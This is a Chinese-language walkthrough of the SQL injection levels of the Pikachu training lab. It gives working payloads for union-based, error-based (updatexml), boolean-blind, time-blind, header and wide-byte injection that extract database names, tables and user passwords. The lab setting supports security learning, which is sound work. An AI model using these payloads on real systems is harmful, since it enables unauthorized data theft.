数字型注入(post)

我们先查询一下

观察url,没有变换,抓包看看

是post请求,那么我们就在bp里面测试,发送到repeater

我们在id=1这里做手脚,先简单判断一下是否有注入点
id=1'

这里页面报错,那么大概率这里是有sql注入漏洞的
判断原理
$id = $_GET['id'];
$sql = "SELECT * FROM news WHERE id = $id"; // 数字型
$sql = "SELECT * FROM news WHERE id = '$id'"; // 字符型
当id这个参数等于1'时
数字型:
SELECT * FROM news WHERE id = 1'
字符型:
SELECT * FROM news WHERE id = '1''
这两种情况都会因为多出一个单引号而破坏 SQL 语法,导致数据库报错。
正常参数是不能包含'这个符号的,如果传入'且数据库报错,那么就可以说明
参数值被原样拼接进 SQL 语句;没有对输入做足够的转义;
那么这个地方大概率是有sql注入漏洞的
判断完是否有注入漏洞后,我们就要判断闭合了
id=1 and 1=1 //页面正常
id=1 and 1=2 //页面报错
如果输入上面的代码,且页面与注释所说的相匹配,那么该处无需闭合
and是交集∩,需要左右都满足才为对,id=1是正确的,1=1也是正确的,所以页面正常,反之同理


判断完闭合,下面我就可以来演示联合注入的操作了
判断回显点数
id=1 order by 1 //正常
id=1 order by 2 //正常
id=1 order by 3 //报错
那么回显点数就是第一次报错时的数字减1
因为sql查询语句会是这样
SELECT id, name FROM users WHERE id=1
order by 1:按第 1 列(id)排序,合法,正常执行
order by 2:按第 2 列(name)排序,合法,正常执行
order by 3:按第 3 列排序,但结果里根本没有第 3 列,SQL 语法直接报错


查看回显点
id=-1 union select 1,2

输入这个,就会让回显点回显,这个的目的说查看可利用的回显点,因为不是所有回显点都会回显,1和2都可用
id=-1是为了报错
爆库名
id=-1 union select 1,database()
database()函数会返回数据库名

数据库名叫pikachu
爆表名
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

group_concat(table_name):这是 MySQL 的聚合函数,把查询到的所有行里的 table_name 值拼接成一个字符串(默认逗号分隔)。因为我们的目标是拿到所有的表名,如果不用它,只会返回第一行,用了就能一次性把所有表名打包在一个格子(回显点2)里输出。
information_schema.tables:这是 MySQL 自带的元数据表,记录了整个数据库中所有表的信息,其中有一个列就是 table_name(表名)。
table_schema=database()
table_schema 是表的所属数据库名。database() 函数返回当前连接的数据库名(在之前的步骤中已爆出叫做 pikachu)。
爆字段
我们选择users表
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'

这里就是把table换成了column,大概看一下就好了
爆数据
我们选择password字段
id=-1 union select 1,password from users

成功爆到密码
字符型注入(get)

这种就不用在bp里面测试了,直接在输入框里测试
先判断是否有sql注入,然后判断闭合,然后就是联合注入




报错,说明需要闭合


查询成功,说明是单引号闭合
原理
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
我们正常输入admin 123456
SELECT * FROM users WHERE username = 'admin' AND password = '123456'
我们输入admin' and 1=1#
SELECT * FROM users WHERE username = 'admin' and 1=1#' AND password = '123'
单引号给username闭合了,#给后面注释了


正常回显


报错,说明回显点数为3




后面就是联合查询了,就是要记得闭合和注释,下面我就直接给结果了



搜索型注入

判断是否有sql注入


判断闭合
搜索框一般是%关键词%这种方式存在的,所以我们的闭合便要将%'这两个闭合掉
select username,id,email from member where username like '%$name%';




成功闭合,接下来就是使用联合注入了




0%' union select 1,2,3#

0%' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

0%' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#

0%' union select 1,2,password from users#

注入成功
xx型注入
先看看有没有sql报错


报错,接下来判断闭合


这里报错了,那么很有可能闭合里面有单引号和前面的单引号闭合了,但是中间夹杂了一些符号导致sql语句出错,我们接着试




是’)闭合,判断成功
所谓的xx型注入,就是输入的值可能被各种各样的符号包裹(单引号,双引号,括号等等)
"select id,email from member where username=('$name')";
接下来就是进行联合注入就行了,这里略过
“insert/update”注入
insert注入
当我们注册时,数据库会进行insert
INSERT INTO users(username,password)
VALUES('$username','$password');
我们进行修改密码时,数据库会进行update
UPDATE users
SET password='$password'
WHERE username='$username';
这两处地方往往也是sql注入的重灾区
我们可以使用报错注入
报错注入
我们正常写sql语句,数据库正常返回数据
SELECT * FROM users WHERE id=1;
我们写一个错误的sql语句,数据库就会报错
SELECT updatexml(1,1,1);
XPATH syntax error: '1'
updatexml(a,b,c):这是 MySQL 提供的一个修改 XML 数据的函数。
updatexml(XML文档,XPath表达式,要替换成的新值)
假设有一个xml张三,我们要把张三换成李四
那么会这样写
updatexml(XML,'/user/name','李四')
中间是路径,右边是值,左边是xml
回到SELECT updatexml(1,1,1);
那我们把中间的1改成database()
数据库查看路径的时候会看到pikachu,这不是一个正确的路径,所以会报错
XPATH syntax error: 'pikachu'
爆库名
1' and updatexml(1,concat(0x7e,database()),1)–+
//或者
1' and updatexml(1,concat(0x7e,database()),1) and' //这取决于闭合,要自行判断

concat(a,b):concat可以把字符串a和b拼接起来,写这个的原因是报错信息有时候不是那么好看,我们写一个concat(0x7e,database()),就会把pikachu和~拼在一起,变成
~pikachu
这样便于观察
爆表名
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) and '
这里和联合注入很像,就是concat(0x7e,(去掉union的联合注入))
![]()
爆字段
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),1) and '
和联合注入一样,将table换成column,后面改成table_name
![]()
爆数据
第一条
1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1)),1) and '
第二条
1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 1,1)),1) and '
第n条
1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit n-1,1)),1) and '
![]()
![]()
这里不用group_concat()的原因是报错是有长度限制的,不能全部显示,之前是因为表名和字段名比较短,所以可以显示全,如果数据里的这个密码也足够长,那么就要使用SUBSTRING()来分段读取了
update注入
我们登录进去,点击修改个人信息,此处就是类似修改密码的修改类,会用到update,也是使用报错注入
1' and updatexml(1,concat(0x7e,database()),1) and '


后面的操作就和上面一样了
delete注入
就是数据库使用delete的时候执行了我们的恶意sql指令
常用于删除场景

我们开启抓包,点击删除

在id=62后面进行报错注入
id=62+and+updatexml(1,concat(0x7e,database()),1)

后续就是进行报错注入
"http header"注入
产生 Header 注入的原因是因为很多程序员会把 Header 写进数据库。
程序员直接把
$useragent=$_SERVER['HTTP_USER_AGENT'];
$sql="insert into log(useragent)
values('$useragent')";
放进sql而且没有过滤
那么攻击者就会改 Header。
insert into log(useragent)
values('abc'')
进行闭合,本质上还是sql注入
先登录

进行刷新抓包,在User-Agent后进行报错注入
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0' and updatexml(1,concat(0x7e,database()),1) and '

后续进行报错注入即可
布尔盲注
布尔就是bool,只会返回true or false,我们通过正常回显和报错来判断
获取数据库长度
1' and length(database())=1#
1' and length(database())=2#
. . .
1' and length(database())=n#
length()会返回长度,我们进行等于判断,正常回显就是length函数里的长度了
这里通常用burpsuite爆破一下就好了

设置1-20的载荷,发起爆破,查看不同长度的结果,即可得到数据库长度


所以数据库名的长度为7
获取数据库名
kobe' and substring(database(),1,1)='p'#
kobe' and substring(database(),2,1)='i'#
substring(a,b,c):substring()是 SQL 中用于截取字符串的函数,
a:你要截取的目标,如database()
b:从第几位开始截取。注意:SQL 的起始索引是 1,不是 0。比如 b=1 代表从第一个字符开始。
c:每次截取几个字符。
进行抓包爆破,使用集束炸弹

1为1-7,2为a-z A-Z不要忘了数字,但是这里我知道数据库是pikachu了,就不加数字了


这里大小写都判断为真了,这样数据库名就是pikachu,大写小写无所谓了

获取表数量
kobe' and (select count(table_name) from information_schema.tables where table_schema=database())=1#
kobe' and (select count(table_name) from information_schema.tables where table_schema=database())=2#



可得到有五张表
获取表名长度
kobe' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1#
kobe' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1#

得到第一张表名长度为8
我们可以对limit n,1中的n进行集束炸弹爆破,就可以一次得到所有表的长度

第一张表长度为8,第二张为6,第三张为7,第四张为5,第五张为8
获取表名
kobe' and substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='p'#
kobe' and substring((select table_name from information_schema.tables where table_schema=database() limit xxx,1),xxx,1)='xxx'#
给这段代码中2的三个xxx处打上标签,第一个xxx为0-4,第二个为1-8(因为最长的表名为8),第三个为a-z,这样就能一次得到所有表名
进行过滤一下,就能得到五张表名,分别是httpinfo、member、message、users、xssblind

获取字段数量
kobe' and (select count(column_name) from information_schema.columns where table_name='users')=1#

数量为18
获取字段长度
kobe' and (select length(column_name) from information_schema.columns where table_name='users' limit 0,1)=1#

最长为19
获取字段名
kobe' and substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='p'#

这样便获取到所有字段名了
获取数据数量
kobe' and (select count(username) from users)=1#

有三条数据
获取数据长度
kobe' and (select length(username) from users limit 0,1)=1#

最大长度为7
获取数据
kobe' and substring((select username from users limit 0,1),1,1)='p'#

成功获取到数据
时间盲注
时间盲注用于没有回显,没有报错时进行sql注入的方法
kobe' and if(1=1,sleep(5),0)#
执行后页面等待大约5秒才会变化
if(a,b,c):如果a为真,那么返回b,否则,返回c
那么我们就可以通过爆破判断,查看变化时间来进行注入
获取数据库长度
kobe' and if(length(database())=1,sleep(3),0)#
进行抓包,但是这样看不出区别

我们进行以下设置,就能过滤出正确数据


这里需要对资源池设置一下,减少网络的影响

获取数据库名
kobe' and if(substring(database(),1,1)='p',sleep(5),0)#

数据库名为pikachu
获取表数量
kobe' and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),0)#

有五张表
获取表名长度
kobe' and if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1,sleep(5),0)#

最长为8
获取表名
kobe' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='p',sleep(5),0)#

整理后得到表名
获取字段数量
kobe' and if((select count(column_name) from information_schema.columns where table_name='users' and table_schema=database())=1,sleep(5),0)#

为4
获取字段名长度
kobe' and if((select length(column_name) from information_schema.columns where table_name='users' and table_schema=database() limit 0,1)=1,sleep(5),0)#

最长为8
获取字段名
kobe' and if(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='p',sleep(5),0)#

整理过后即可得到字段名
获取数据数量
kobe' and if((select count(username) from users)=1,sleep(5),0)#

三条数据
获取数据长度
kobe' and if((select length(username) from users limit 0,1)=1,sleep(5),0)#

最大长度为7
获取数据
kobe' and if(substr((select username from users limit 0,1),1,1)='p',sleep(5),0)#

整理得到admin、pikachu、test
宽字节注入
当我们输入admin'这种非法输入时,程序会使用addslashes()将
'
转义为
\\'
这样就不会闭合单引号了
'admin\\''
但如果数据库使用的是 GBK 编码,GBK中一个汉字由两个字节组成,如:
高
↓
0xB8DF
数据库看到两个字节,就认为这是一个汉字
关于addslashes():
假设我们输入
%df'
url解码后是
DF 27
27为单引号,由于有单引号,php会自动变成
DF 5C 27
这里的5C就是\\
GBK此时会把DF5C看作是一个汉字,\\被吃掉了,变成 汉字' 了,sql此时就闭合了
我们输入
?id=%df' or 1=1#
转义后是
%df\\' or 1=1#
数据库中为
汉字' or 1=1#
变成
select * from users where username='[汉字]' or 1=1#
成功执行
回到pikachu上,我们先抓包,放到重发器里,这是为了防止payload被浏览器编码,在bp里面进行测试
kobe%df' or 1=1#

kobe%df' order by 2#
kobe%df' order by 3#


回显点数为2
kobe%df' union select 1,2#

kobe%df' union select 1,database()#

测试成功,接下来就是联合注入了


